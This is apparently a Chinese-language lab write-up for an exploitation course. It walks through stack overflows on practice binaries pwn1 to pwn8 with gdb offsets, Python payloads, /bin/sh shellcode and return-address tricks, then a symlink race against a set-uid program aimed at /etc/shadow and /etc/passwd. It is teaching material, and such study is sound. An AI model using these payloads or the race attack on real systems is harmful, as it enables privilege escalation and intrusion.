PWN实战
PWN
一般溢出
背景
主机/home/test/1目录下有一个pwn1程序,执行这个程序的时候可以输入数据进行测试,pwn1程序会输出Please try again.的提示信息,请对pwn1程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之输出Congratulations, you pwned it.信息。
1 |
|
使用gets函数读取输入数据时,并不会对buffer缓冲区的长度进行检查,输入超长的输入数据时会引发缓冲区溢出。
工具
gdb调试器
执行gdb pwn1即可开始通过gdb对pwn1进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:
1 | gdb pwn1 |
1 | 0x080482a0 <+0>: push %ebp |
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1C处,而modified位于esp+0x5C处,两个地址的距离为0x5C - 0x1C = 0x40,即64,刚好为buffer数组的大小。因此当我们输入的数据超过64字节时,modified变量就可以被覆盖。
下面在gdb中进行验证,在gdb中执行b *0x080482bd命令对gets的下一条指令下一个断点,执行r命令,让被调试的pwn1程序跑起来,就可以输入数据进行测试了,这里我们输入64个A以及1个B(即 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB),按下 Enter键程序就在断点处断下了:
1 | b *0x080482bd |
在gdb中输入x $esp+0x5C,查看modified变量的值已经被修改成了0x00000042,而0x42就是字符’B’的ASCII值,表明我们成功用输入数据的第65个字节覆盖了modified变量:
在gdb中连续多次执行ni命令,可以看到je指令没有跳转,说明modified的值不为0,程序进入输出通过信息的if语句分支:
使用c命令让程序执行下去。
下面我们就可以通过构造输入数据进行攻击了。输入q命令就可以退出gdb,ctrl+L清空当前命令窗口。
通过python语句构造输入数据,然后通过管道传给pwn1程序,执行命令
1 | python -c "print 'A'*64+'B'" | ./pwn1 |
成功通过。
精确覆盖变量数据
背景
C语言的main函数拥有两个参数,为int类型的argc参数,以及char**类型argv参数。其中argc参数的值表示命令行参数的个数,而argv则指向一个字符串数组,该数组存储了具体的命令行参数的内容。注意程序本身的名字为命令行的第一个参数。
打印命令行参数信息的示例代码:
1 |
|
编译这段代码生成test程序,然后在命令行下执行,尝试传入命令行参数,如:./test hello world cmdline,可以看到程序打印出具体的命令行参数信息。
Linux的xargs命令可以将输入数据当做命令行参数传给指定的程序。比如执行命令python -c “print ‘AAA BBB CCC’” | xargs ./test后,输出:
python语句执行后输出AAA BBB CCC,通过管道操作作为xargs命令的输入,而xargs将其作为test程序的命令行参数,因此test程序会把这些信息打印出来。
小端序
主机/home/test/2目录下有一个pwn2程序,这个程序会对传入的命令行参数进行处理,通过构造特定的命令行参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。
利用缓冲区溢出改写变量的值
执行gdb pwn2即可开始通过gdb对pwn2进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令:
1 | 0x080482a0 <+0>: push %ebp |
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1C处,而modified位于esp+0x5C处,两个地址的距离为0x5C - 0x1C = 0x40,即64,刚好为buffer数组的大小。因此当我们输入的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造命令行参数。
下面在gdb中进行验证,在gdb中执行b * 0x080482e7命令对strcpy的下一条指令下一个断点
在gdb中执行r命令,如下(r后面的数据为64个A以及1234)
1 | r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234 |
即r命令后加上空格可以接一个命令行参数,用于传递给被调试的程序。按下Enter键程序就在断点处断下了:
变量值已被修改。
使用x /4xb $esp+0x5C命令,以字节为单位查看内存中0x34333231的表示(其中/4xb用于控制输出格式,4表示4个长度单位,x表示以16进制方式显示,b表示单位为字节):
现在modified变量的值已经被修改成0x34333231了,结合我们的输入数据‘A….A1234’,1234为低地址往高地址方向,可以判断这是小端格式的表示法。
在gdb中输入c命令就可以让程序继续执行,看到输出了错误的提示信息:
现在我们只要合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。q退出gdb
1 | python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./pwn2 |
使用管道方式传参数,pwn程序。
函数指针覆盖
背景
使用objdump工具可以查看一个目标文件的许多内部信息,objdump有许多可选的参数选项,通过控制这些参数选项可以输出不同的文件信息。在对二进制程序进行分析时,我们可以使用objdump获取二进制程序中代码段的反汇编指令列表,从而获取某一个函数的具体地址信息。
执行objdump -d pwn4可以看到关于pwn4程序的反汇编指令列表,其中-d选项表示进行反汇编操作。
函数指针(Function Pointer)是指向函数的指针,函数指针可以像一般函数一样,用于调用函数、传递参数。在C /C++这样的语言中,通过提供一个简单的选取、执行函数的方法,函数指针可以简化代码。
函数指针只能指向具有特定特征的函数,因而所有被同一指针运用的函数必须具有相同的参数和返回类型。
通常使用typedef来定义一个函数指针类型,如:
1 | typedef void(*func)(); |
定义了func这样的函数指针类型,其可以指向返回值类型为void且没有函数参数的函数,比如void test()这样的函数,可以使用func myfp = test;来定义一个myfp变量,该变量指向test函数,通过执行myfp()可以达到执行test()函数同样的效果。
主机/home/test/4目录下有一个pwn4程序,执行这个程序可以输入数据进行测试,当输入一定的数据量时,可能什么都不会提示程序就结束运行了,也可能会提示这样的信息:
calling function pointer, jumping to 0x41414141
Segmentation fault
当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息:
calling function pointer, jumping to 0xXXXXXXXX
Congratulations, you pwned it.
源代码:
1 |
|
程序定义了一个与buffer相邻的函数指针变量fp,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,fp变量的值可以被改写,当fp的值被改写为win函数的地址时,就可以输出成功提示的信息。
利用缓冲区溢出改写函数指针
一样查看主函数的反汇编
1 | 0x08048428 <+0>:push %ebp |
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1c处,而fp位于esp+0x5c处,两个地址的距离为0x5c - 0x1c = 0x40,即64,刚好为buffer数组的大小。因此当输入数据的长度超过64字节时,fp变量就可以被覆盖,但需要控制fp变量的值还需要小心的构造数据。我们只要合理控制环境变量参数的第65~68字节的内容,就可以成功发起溢出攻击了。
现在的问题是找到函数win的地址信息,然后将fp的值改写为win函数的地址,这样就可以达到调用win函数的目的了。前面提到过使用objdump可以查看函数的地址
1 | objdump -d pwn4 |
在输出信息中找到win函数的信息:
或者可以跟着用grep命令,快速找到那一行
1 | objdump -d pwn4 | grep win |
可以看到win函数的地址为0x08048414,因为机器采用小端格式,因此执行下面的语句就可以成功发起溢出攻击了:
1 | python -c "print 'A'*64+'\x14\x84\x04\x08'" | ./pwn4 |
返回地址覆盖
背景
函数调用约定描述了函数传递参数的方式和栈协同工作的技术细节,不同的函数调用约定原理基本相同,但在细节上是有差别的,包括函数参数的传递方式、参数的入栈顺序、函数返回时由谁来平衡堆栈扥。本实验中着重讲解C语言函数调用约定。
通过前面几个PWN系列实验的学习,也许你已经发现了在gdb中通过disas指令对main函数进行反汇编时,函数的开头和结尾的反汇编指令都是一样的:
push %ebp
mov %esp,%ebp
……
leave
ret
在函数的开头,首先是一条push %ebp指令,将ebp寄存器压入栈中,用于保存ebp寄存器的值,接着是mov %esp,%ebp将esp寄存器的值传递给ebp寄存器;在函数的末尾,leave指令相当于mov %ebp,%esp和pop %ebp两条指令,其作用刚好与开头的两条指令相反,即恢复esp和ebp寄存器的内容。
如果在函数A中调用了函数B,我们称函数A为主调函数,函数B为被调函数,如果函数B的声明为int B(int arg1, int arg2, int arg3),那么函数A中的调用函数B时的汇编指令的形式如下:
push arg3
push arg2
push arg1
call B
连续三个push将函数的参数按照从右往左的顺序进行压栈,然后执行call B来调用函数B。注意在gdb中看到的效果可能不是三个push,而是三个mov来对栈进行操作,这是因为Linux采用AT&T风格的汇编,而上面的指令使用的是Intel风格的汇编,比较容易理解。
call指令的内部细节为:将下一条指令的地址压入栈中,然后跳转到函数B去执行代码。这里说的call下一条指令的地址也就是通常所说的返回地址。函数B最后一条retn指令会从栈上弹出返回地址,并赋值给EIP寄存器,达到返回函数A继续执行的目的。
基本的缓冲区溢出攻击通常是通过改写函数返回地址的形式来发起攻击的。如A调用B函数,正常情况下B函数返回时执行retn指令,从栈上取出返回地址跳转回A函数继续执行代码。而一旦返回地址被缓冲区溢出数据改写,那么我们就可以控制函数B跳转到指定的地方去执行代码了。
主机/home/test/5目录下有一个pwn5程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后不会产生任何输出信息并直接退出,然后当输入一定的数据量时,可能会提示Segmentation fault的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息:
Congratulations, you pwned it.
源代码
1 |
|
程序定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写,当返回地址被改写为win函数的地址时,就可以输出成功提示的信息。
返回地址覆盖
利用gdb调试,查看主函数汇编
显然在0x08048408存在溢出漏洞
首先使用b *0x080483f8对main函数的第一条指令下一个断点,同时使用b *0x08048408对gets函数的调用下一个断点,然后输入r命令运行程序,将会在第一个断点处断下
查看esp寄存器的值
1 | i r $esp |
这时候esp寄存器的值为0xffffd6cc。按C继续执行,在第二个断点断下,通过对汇编指令的分析,我们知道eax寄存器存储了buffer的起始地址,所以运行i r $eax
来查看buffer的地址:
我们看到eax寄存器的值为0xffffd680,那么这两个地址的差为76,如下图下图所示:
也就是说,在覆盖了76字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。
在gdb中执行disas win查看win函数的地址为0x080483e4,或者objdump。接下来就可以构造输入数据来发起溢出攻击了。
通过上面的步骤我们已经知道,只要合理控制输入数据的第77~80字节的内容,就可以实现对函数返回地址进行覆盖,从而成功发起溢出攻击了。
现在win函数的地址为0x080483e4,转换为小端格式就是’\xe4\x83\x04\x08’,那么可以构造这样的命令来进行溢出测试:
1 | python -c "print 'A'*76+'\xe4\x83\x04\x08'" | ./pwn5 |
环境变量继承
背景
在Linux/Windows操作系统中, 每个进程都有其各自的环境变量设置。 缺省情况下, 当一个进程被创建时,除了创建过程中的明确更改外,它继承了其父进程的绝大部分环境变量信息。
扩展的C语言main函数可以传递三个参数,除了argc和argv参数外,还能接受一个char**类型的envp参数。envp指向一个字符串数组,该数组存储了当前进程具体的环境变量的内容,envp的最后一个元素指向NULL,此为envp结束的标识符。
打印环境变量参数信息的示例代码:
1 |
|
编译这段代码生成env程序,然后在命令行下执行,可以看到程序打印出了具体的环境变量参数信息:
环境变量的格式为:环境变量名=环境变量值
当父进程启动一个子进程时,子进程会继承父进程的环境变量信息。在Linux Shell下,通过export可以给Shell添加一个环境变量,此后通过Shell启动的子进程都会拥有这个环境变量。
在Shell中执行export testenv=”Hello_World”之后,再执行./env,可以看到新的环境变量已经被子进程继承了。
Python的os模块提供创建子进程以及修改环境变量的函数,其中os.system函数可以创建一个子进程,且子进程会继承父进程的环境变量参数信息;os.putenv可以修改进程的环境变量参数信息。
Linux Shell中,可以使用$()或者两个反引号(` )来包裹一条shell命令,并返回shell命令的执行结果。
比如执行
1 | export testenv2=`python -c "print 'A'*20"` |
命令后,再执行./env可以看到有一个名为testenv2的环境变量,其值为20个A。
主机/home/test/3目录下有一个pwn3程序,这个程序会对进程中名为HEETIAN的环境变量的值进行处理,通过构造特定的环境变量参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。注意:如果没有设置HEETIAN这个环境变量,那么运行程序后将输出Please set the HEETIAN environment variable,之后程序自动退出。
源代码:
1 |
|
环境变量继承
程序首先通过getenv函数获取名为HEETIAN的环境变量参数,然后使用strcpy函数将其值复制到buffer缓冲区中,我们知道这样可以引发缓冲区溢出。
这里当设置超长的环境变量参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。
使用gdb调试并查看主函数反汇编
1 | 0x0804848d <+9>: movl $0x80485d4,(%esp) |
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x18处,而modified位于esp+0x58处,两个地址的距离为0x58 - 0x18 = 0x40,即64,刚好为buffer数组的大小。因此当环境变量HEETIAN的值的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造数据。我们只要合理控制环境变量参数的第65~68字节的内容,就可以成功发起溢出攻击了。
因为目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x0d0a0d0a时才通过判断,因此我们构造的数据应该为\x0a\x0d\x0a\x0d。下面通过两种不同的方法来修改环境变量以达到攻击效果。
方法一:通过export修改环境变量
前面已经介绍过通过export可以修改环境变量,执行下面的语句:
1 | export HEETIAN=$(python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'") |
然后运行./pwn3就可以看到攻击效果了,如图所示:
方法二:通过python脚本动态修改环境变量
1 | import os |
为了排除前面的环境变量的干扰,我们先修改HEETIAN的的值为AAA,然后再执行python脚本,可以看到攻击效果,如图所示:
执行Shellcode
背景
Shellcode指缓冲区溢出攻击中植入进程的恶意代码,这段代码可以弹出一个消息框,也可以在目标机器上打开一个监听端口,甚至是删除目标机器上的重要文件等。
Shellcode通常需要使用汇编语言进行开发,并转换成二进制机器码,其内容和长度经常还会受到很多实际条件的限制,因此开发Shellcode通常都是非常困难的。在实际场景中,我们通常使用Metasploit这个工具来定制各种功能的Shellcode,当然也可以去网上查找一些现有的Shellcode进行测试,通常在shell-storm以及exploit-db等网站上都能找到一些比较成熟和稳定的shellcode,网址为:
http://shell-storm.org/shellcode/
http://www.exploit-db.com/shellcode/
在缓冲区溢出攻击中,如何执行我们的Shellcode呢?我们一般通过输入数据来将Shellcode传递给目标进程,我们已经知道了如何改写函数的返回地址,那么我们可以让程序跳转到栈上的Shellcode去执行,那么就达到了执行Shellcode的目的了。
一种可行的方案如下图所示:
我们将Shellcode填充到返回地址以上的栈空间中,然后将返回地址改写为Shellcode的起始地址,这样在执行retn指令的时候,就相当于跳转到Shellcode去执行了。
主机/home/test/6目录下有一个pwn6程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后不会产生任何输出信息并直接退出,然而当输入一定的数据量时,可能会提示Segmentation fault的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到执行Shellcode的目的。下面这段Shellcode用于执行/bin/bash:
1 | \xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81 |
源码:
1 |
|
程序定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写,我们可以输入Shellcode来覆盖栈上的数据,然后通过改写函数返回地址为Shellcode的起始地址来达到执行Shellcode的目的。
执行Shell Code
使用gdb调试,查看主函数反汇编
在程序入口和gets函数下断点,查看程序入口esp和调用前eax的值。前者是栈底返回地址处,后者是传入的参数,即buffer
0xffffd6cc - 0xffffd680,那么这两个地址的差为76,如下图下图所示:
也就是说,在覆盖了76字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。在返回地址数据之后,我们使用Shellcode来覆盖栈上的内容。从上图中可以看出,Shellcode的起始地址应为0xffffd6cc+4 = 0xffffd6d0。
在gdb调试器下调试pwn6程序时,只要合理控制输入数据的第77~80字节的内容,就可以实现对函数返回地址进行覆盖,我们可以将返回地址填充为0xffffd6d0来实现执行Shellcode的目的。我们对输入数据的构造的布局如下:
创建一个python脚本
1 | shellcode = ("\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe" + |
在Shell下执行python pwn6.py > test将输出数据写入test文件,然后再次使用gdb调试pwn6程序,gdb载入pwn6程序后,执行r < test命令,表示将test文件的数据当做输入数据传给pwn6程序,可以看到Shellcode成功执行,新创建了一个/bin/bash进程:
理论上来说,在shell中执行./pwn6 < test也是可以成功溢出的,但是由于在gdb下和实际情况下栈的基地址不一样,因此实际上在shell中执行./pwn6 < test会提示Segmentation fault。
绕过返回地址限制
背景
_builtin_return_address函数接收一个参数,可以是0,1,2等。__builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走一层获取主调函数的返回地址。
retn指令从栈顶弹出一个数据并赋值给EIP寄存器,程序继续执行时就相当于跳转到这个地址去执行代码了。如果我们将返回地址覆盖为一条retn指令的地址,那么就又可以执行一条retn指令了,相当于再在栈顶弹出一个数据赋值给EIP寄存器。
主机/home/test/7目录下有一个pwn7程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后会产生对应的输出信息并直接退出,然而当输入一定的数据量时,可能会提示bzzzt的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到执行Shellcode的目的。下面这段Shellcode用于执行/bin/bash:
1 | \xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81 |
直接覆盖返回地址跳转到Shellcode执行是不行的,程序对返回地址进行了一点限制,绕过对返回地址的保护限制,以达到执行特定Shellcode的目的。
1 |
|
getpath函数中定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写。但是也可以看到这里对返回地址和0xbf000000进行与操作,如果高位字节是0xbf的话,那么程序就会退出。
多层跳转绕过返回地址限制
使用gdb调试并查看主函数反汇编
对感兴趣的区域下上断点,观察返回地址和buffer地址
有:0xffffd6bc - 0xffffd66c,那么这两个地址的差为80。
也就是说,在覆盖了80字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。现在因为对返回地址进行了限制,我们显然不能直接跳转到栈上执行代码,因为这里Shellcode的地址的最高字节为0xff,有0xff & 0xbf == 0xbf,因此无法通过保护限制。
这里采用两次跳转的方法来突破这个限制。
我们可以将一条retn指令的地址来覆盖函数的返回地址,比如getpath的最后一条指令为:
0x080484e9 <+117>: ret
那么,0x080484e9 & 0xbf000000 = 0x08000000,可以绕过保护限制,我们让这条retn指令执行时,从栈上取到的数据为Shellcode的地址,就可以执行Shellcode了。那么,我们构造的输入数据应该是这样的:
通过上面的步骤我们已经知道,在gdb调试器下调试pwn7程序时,只要合理控制输入数据的第81~84字节的内容,就可以实现对函数返回地址进行覆盖,我们可以将返回地址填充为0x080484e9来实现执行一条retn指令。
同时,我们将第85~88字节覆盖为Shellcode的地址。即0xffffd6bc+4+4 = 0xffffd6c4,我们对输入数据的构造的布局如下:
在/home/test/7目录下有一个pwn7.py的Python脚本,其源代码如下:
1 | shellcode = ("\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe" + |
在Shell下执行python pwn7.py > test将输出数据写入test文件,然后再次使用gdb调试pwn7程序,gdb载入pwn7程序后,执行r < test命令,表示将test文件的数据当做输入数据传给pwn7程序,可以看到Shellcode成功执行,新创建了一个/bin/bash进程:
通用跳转技术
strdup可以用于复制一个字符串,我们通常使用字符串时会使用strcpy,这要求已经定义好了一个接收缓冲区。而strdup只接受一个参数,也就是要复制的字符串的地址,strdup()会先用maolloc()配置与参数字符串相同大小的的空间,然后将参数字符串的内容复制到该内存地址,然后把该地址返回。strdup返回的地址最后可以利用free()来释放。
当输出信息非常多的时候,我们很难快速找到我们感兴趣的信息。使用grep命令可以对匹配特定正则表达式的文本进行搜索,并只输出匹配的行或文本。
我们可以使用管道将一个程序的输出当做grep的输入数据,grep会根据给定的正则表达式参数对输入数据进行过滤。
对于grep的参数需要注意这样一个问题:当参数中存在空格时需要用双引号将参数包裹起来,此外,* 是正则表达式里面的通配符,如果要查找 ,需要使用反斜杠进行转移,即 \ 。
主机/home/test/8目录下有一个pwn8程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后会产生对应的输出信息并直接退出,然而当输入一定的数据量时,可能会提示bzzzt的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到执行Shellcode的目的。下面这段Shellcode用于执行/bin/sh:
1 | \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh |
除了绕过对返回地址的限制保护之外,还可以使用更加高级的通用跳转技术来执行Shellcode。
源代码:
1 |
|
getpath函数中定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出。在程序的末尾调用了strdup对buffer缓冲区中存储的字符串进行复制,并返回了新的缓冲区副本的地址。
通用跳转技术
使用gdb调试pwn8
下断点,获取返回地址和eax地址
上图中红色线条框起来的就是我们执行的gdb命令,粉红色线条框起来的是我们下断点的地址,蓝色线条框起来的是我们想要查看的两个寄存器的值,有:
0xffffd6bc - 0xffffd66c,那么这两个地址的差为80。
也就是说,在覆盖了80字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。
现在关注一下函数末尾的几条汇编指令,如下:
1 | 0x08048518 <+116>: lea -0x4c(%ebp),%eax |
我们发现程序调用了strdup对输入数据进行复制,然后把新分配的空间的地址返回。在汇编语言中,函数的返回值存储于eax寄存器中,可以在gdb中实际验证一下:
在0x08048523下一个断点,然后输入c继续执行,输入数据后,断点将会断下,这时候通过执行x /s $eax命令,看到了我们复制的数据。既然eax寄存器指向复制后的buffer,如果我们将函数的返回地址覆盖为call *%eax这样的指令的地址,那么Shellcode就可以被执行了。可以尝试找到这样的一条指令。
我们知道通过objdump -d pwn8可以查看pwn8中的汇编指令,而grep可以对指令进行过滤,那么可以在Shell中执行objdump -d pwn8 | grep “call **%eax”来找到我们需要的指令:
通过上面的步骤我们已经知道,可以将getpath函数的返回地址覆盖为0x0804849f,就可以执行call *%eax了。这里我们需要将Shellcode布局到buffer的最前面,shellcode与返回地址之间不足的数据可以用A来填充,我们对输入数据的构造的布局如下:
编写python脚本,填充
1 | shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46" + |
在Shell下执行python pwn8.py > test将输出数据写入test文件,然后再次使用gdb调试pwn8程序,gdb载入pwn8程序后,执行r < test命令,表示将test文件的数据当做输入数据传给pwn8程序,可以看到Shellcode成功执行,新创建了一个/bin/bash进程:
竟态条件漏洞
背景
竞态条件(race condition),从多进程间通信的角度来讲,是指两个或多个进程对共享的数据进行读或写的操作时,最终的结果取决于这些进程的执行顺序。
在ubuntu的11.04或者12.04版本默认配置已经开启了对竞态条件漏洞的保护策略。这个保护策略严格限制了在什么情况下可以去跟踪操作一个符号链接指向的文件。帮助文档中对这个策略是这么描述的:“在所有人都可写的目录(比如说/tmp目录)中存在的符号链接,被链接的文件与目录与符号链接的创建者不同时,被链接的文件不可以被操作”。简单举例来帮助大家理解一下:在/tmp目录下有一个软连接/tmp/abc指向/etc/shadow,而这个软连接是test用户(uid为1000)的用户创建。那么,任何情况下都无法通过这个软连接来修改/etc/shadow文件。
如果实验在ubuntu12.04版本进行,则需要关掉这个防护功能。以下两种方法都可以关闭此配置。
1)$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
2)$ sudo echo 0 > /proc/sys/fs/protected_symlinks
本次实验在ubuntu 16.04环境下进行,命令为
$ sudo sysctl -w fs.protected_symlinks=0
一个看起来很正常的程序但是却存在竞态条件漏洞的程序,源码如下:
1 | /* vulp.c */ |
这个程序是一个set-uid程序(文件属主是root),这个程序的功能是将用户的输入,追加到/tmp/XYZ这个文件。因为程序是拥有root权限,因此在写入操作之前,我们看到程序使用了access函数来检查是否对/tmp/XYZ文件拥有写入的权限。access()函数用来检查执行程序的用户是否拥有对/tmp/XYZ文件的写入权限。
这个过程看起来很完美,用户拥有写入权限时,执行写入操作,用户没有写入权限时不执行操作。然而这个代码的流程却存在竞态条件漏洞。我们假设这样一种情况,/tmp/XYZ是个软连接,原本指向/home/test/race/testfile(文件属主是test用户),然而access()函数的执行与fopen()函数的执行之间,时间间隔非常长,当test用户运行此程序且access()函数执行之后,/tmp/XYZ软连接文件被test用户修改,指向了/etc/shadow(属主是root,其他用户无权限修改)。那么fopen()函数的对象,则变成了/etc/shadow,攻击者可以成功的向/etc/shadow文件追加任意内容(程序本身是setuid程序,可以修改/etc/shadow)。
这个漏洞从理论上是存在的,然而,我们知道access()和fopen()之间的时间间隔非常短,如何成功的利用这个竞态条件漏洞呢?由于我们使用普通用户,无法修改vulp程序的代码,所以只能变换思路,多次执行vulp程序,并且反复修改/tmp/XYZ文件的软连接指向的文件。
利用竟态条件漏洞
利用此漏洞,我们可以达到下面2种效果:
1.向任意属主为root的文件追加内容
2.获取root权限
在/home/test/race/目录下有一个文件rootfile,属主是root。
要利用这个漏洞,有这么几个要素:
1./tmp/XYZ软连接指向的文件不停在属主test和root用户之间切换。
2.漏洞程序要反复多次执行。
3.漏洞被利用一次之后程序要停止,以免多次写入。
对于要素1,我们可以写一个简单的程序,attack.c和testfile
attack.c:
1 | int main() |
从代码中,我们可以看到,attack这个程序修改/tmp/XYZ这个软连接所指向的目标文件在testfile和rootfile之间来回切换。
对于要素三,我们可以写一个脚本来实现确保写入一次。因为写入一次之后,文件的时间戳会改变,因为我们通过检测rootfile的时间戳来判断是否写入成功。脚本check.sh代码如下:
1 |
|
从上面代码中我们可以发现,要素二也满足了,我们通过./vulp < contents_to_append来反复执行vulp程序,并且通过重定向来向程序输入我们要追加的内容。
至此,我们完成攻击所需要的准备步骤都完成了,看一下/home/test/race目录都有哪些文件:
- rootfile属主是root,是我们要修改的目标文件。
- testfile属主是test,用来确保通过access()函数的权限检查
- vulp是set-uid程序属主是root,是存在竞态条件漏洞的程序
- contents_to_append属主是test,是我们要向rootfile追加的内容,可以任意修改
- check.sh属主是test,用来反复执行vulp程序并且确保rootfile只修改一次。
登录实验机,切换到test用户。查看rootfile文件夹,为空。
在执行vulp程序之前,先运行我们的attack程序。
运行check.sh,耐心等待攻击过程完成。
当check.sh结束并打印stop…the root file has been changed时,攻击完成。
此时cat rootfile,发现写入新内容。可以killall attack关闭程序。
保护方法
保护机制A:重复检查权限。想要避免竞态条件的发生并不容易,先检查再访问这个模式在很多程序中都是存在。比起想办法移除漏洞,不如换个思路,我们可以增加更多的竞态条件,这样就能减小攻击者攻击成功的概率了。
1 | if(!access(fn, W_OK)){ |
保护机制B:最小权限原则 该程序的根本问题就在于它违反了最小权限原则,程序员认识到运行这个程序的用户可能权利过大,所以引入access函数进行限制,但也同时引入了竞态条件的隐患。更好的方法是使用seteuid系统调用暂时禁止root权限,当需要时再恢复。
1 | int main() |
使用test用户利用此漏洞获取root权限:
利用漏洞在 /etc/passwd 和 /etc/shadow 后追加信息。这两个文件是unix做用户授权用的,攻击者有可能利用这点创建用户,甚至是超级用户。
1 | /* attack.c */ |